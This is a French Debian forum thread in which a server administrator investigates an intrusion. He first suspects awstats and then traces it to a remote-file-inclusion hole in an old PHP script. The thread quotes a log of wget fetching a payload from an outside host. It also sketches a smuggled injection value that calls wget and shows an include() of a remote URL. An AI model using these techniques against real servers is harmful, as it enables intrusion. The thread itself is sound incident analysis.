# \[resolu\] intrusion, awstats sarge

**URL:** <https://www.debian-fr.org/t/resolu-intrusion-awstats-sarge/14006>\
**Category:** Pause Café\
**Created:** [Février 20, 2016, 5:38 UTC](https://www.debian-fr.org/t/resolu-intrusion-awstats-sarge/14006 "2016-02-20T17:38:42Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

**Author:** ![fran.b](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/f/d78d45/32.png) [@fran.b](https://www.debian-fr.org/u/fran.b)\
**Post date:** [Février 20, 2016, 5:38 UTC](https://www.debian-fr.org/t/resolu-intrusion-awstats-sarge/14006/1 "2016-02-20T17:38:42Z")

</div>

Ci dessous la copie d’un message que j’ai fait sur la DUF: Si quelqu’uin a des idées…

A 14h, j’ai eu la surprise de voir un de mes serveur ecroulé (load average à  
80), un top très péniblement effectué juste avant les messages

May 27 14:37:55 yoda kernel: VM: killing process perl  
May 27 14:39:11 yoda last message repeated 2 times  
May 27 14:39:11 yoda last message repeated 4 times  
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2  
May 27 14:39:11 yoda last message repeated 8 times  
May 27 14:39:46 yoda out of memory [28659out of]  
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2  
[…]

m’a permis de voir un quantité importante d’apache et surtout un certain nombre  
de perl exécutant [awstats.pl](http://awstats.pl). Un coup d’oeil dans les logs error.log m’a montré

[Tue May 27 13:36:25 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php  
[Tue May 27 13:38:09 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php  
[Tue May 27 13:42:13 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/profile.php  
[Tue May 27 13:43:38 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/posting.php  
–13:47:11-- [ggfirm.com:80/s.txt](http://www.ggfirm.com:80/s.txt)  
=\> `s.txt’  
Connecting to [ggfirm.com:80…](http://www.ggfirm.com:80..). connected!  
HTTP request sent, awaiting response… 200 OK  
Length: 112,253 [text/plain]

```
0K -> .......... .......... .......... .......... .......... [45%]

```

50K -\> … … … … … [91%]  
100K -\> … [100%]

13:47:12 (103.81 KB/s) - `s.txt’ saved [112253/112253]

[Tue May 27 13:47:22 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/privmsg.php  
mocks: no process killed  
Invalid argument: stop  
Missing or bad configuration file.  
Invalid argument: stop  
mocks: no process killed  
[Tue May 27 13:50:54 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/posting.php

phpBB2 n’existe plus depuis au moins deux ans sur ce serveur et il ne faut pas s’arrêter  
à ça, par contre on voit bien qu’un script a été détourné. Bon, visiblement ça n’a pas marché  
et l’intégrité du serveur est conservé (surveillance md5sum), j’ai neutralisé awstats.

Mais ce qui m’étonnes est que j’ai la version 6.4-1sarge3 sur cette machine et cet awstats était  
à jour (awstats\_6.4-1sarge3) pour sarge. Y-a-t-il une faille sur cette version de awstats? J’avoue  
que je suis perplexe. Le serveur est sous haute surveillance bien entendu.

Quelqu’un a-t-il eu echo d’une histoire analogue?

---

<div class="post-metadata">

**Author:** ![fran.b](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/f/d78d45/32.png) [@fran.b](https://www.debian-fr.org/u/fran.b)\
**Post date:** [Février 20, 2016, 5:41 UTC](https://www.debian-fr.org/t/resolu-intrusion-awstats-sarge/14006/2 "2016-02-20T17:41:32Z")

</div>

Bon, j’ai par comprendre et awstats est innocent.

La situation: Une personne arrivait à éxécuter un script perl sous www-data donc pas l’intermédiaire d’apache. La machine initialement sous woody a été tout d’abord mise à jour puis complètement nettoyée et vérifiée (je ne pouvais pas me permettre de la réinstaller, étant donné qu’elle était en usage permanent et intense).  
Toujours fidèle à mon principe «une machine n’est jamais étanche, il faut donc bétonner la surveillance», je me suis rapidement aperçu que le problème continuait. Le gars a pu reéxécuter une nouvelle fois le script perl.

Une étude approfondie des logs m’a permis d’être sur que le problème venait du serveur et d’Apache. J’ai fini par conserver un log de toutes les requêtes Apache. Ça m’a permis de constater que le coupable est un bête script PHP conçu par un élève sous PHP3 il y a longtemps (\>6 ans) (script que j’aurais du vérifier mais bon…), il a fait deux erreurs:

1. Un include d’un fichier d’extension .inc, fichier lisible par ailleurs

2. Ce fichier contenant une fonction pouvant faire une erreur:

une requête /script.php?nom=bidondenimportequoi

affichait à l’écran le nom du fichier .inc. La personne pouvait alors charger le fichier .inc et l’étudier.

Elle était alors dans la possibilité de faire la fonction PHP  
include($nom.htm);  
avec $nom comme elle le [voulait.Je](http://voulait.Je) pense qu’il est alors possible de charger un document extérieur, peut être en donnant une valeur “plop.htm;exec('wget [site/script.php’](http://site/script.php'))” à $nom.

Conclusion:

- Un script PHP de 50 lignes présent sans souci depuis 6 ans peut avoir une faille béante et révéler sa faille au bout de ces 6 ans.
- Avant d’incriminer awstats, il faut d’abord vérifier ses propres scripts. Tracer les requêtes apache est la meilleure solution à mon avis. En effet j’aurais pu réinstaller complètement le serveur, cela n’aurait rien changer…

M’a fait perdre du temps cette cochonnerie.

Au fait quelqu’un sait-il ce qu’est «mocks»???

---

<div class="post-metadata">

**Author:** ![themorice](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/t/c89c15/32.png) [@themorice](https://www.debian-fr.org/u/themorice)\
**Post date:** [Février 20, 2016, 5:41 UTC](https://www.debian-fr.org/t/resolu-intrusion-awstats-sarge/14006/3 "2016-02-20T17:41:32Z")

</div>

Jolie investigation !

---

<div class="post-metadata">

**Author:** ![fran.b](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/f/d78d45/32.png) [@fran.b](https://www.debian-fr.org/u/fran.b)\
**Post date:** [Février 20, 2016, 5:41 UTC](https://www.debian-fr.org/t/resolu-intrusion-awstats-sarge/14006/4 "2016-02-20T17:41:43Z")

</div>

En fait un simple  
include(“[http://labas.fr/script.txt](http://labas.fr/script.txt)”);  
charge le script et l’éxécute. Donc effectivement il a eu la partie belle après.

mocks est un Proxy
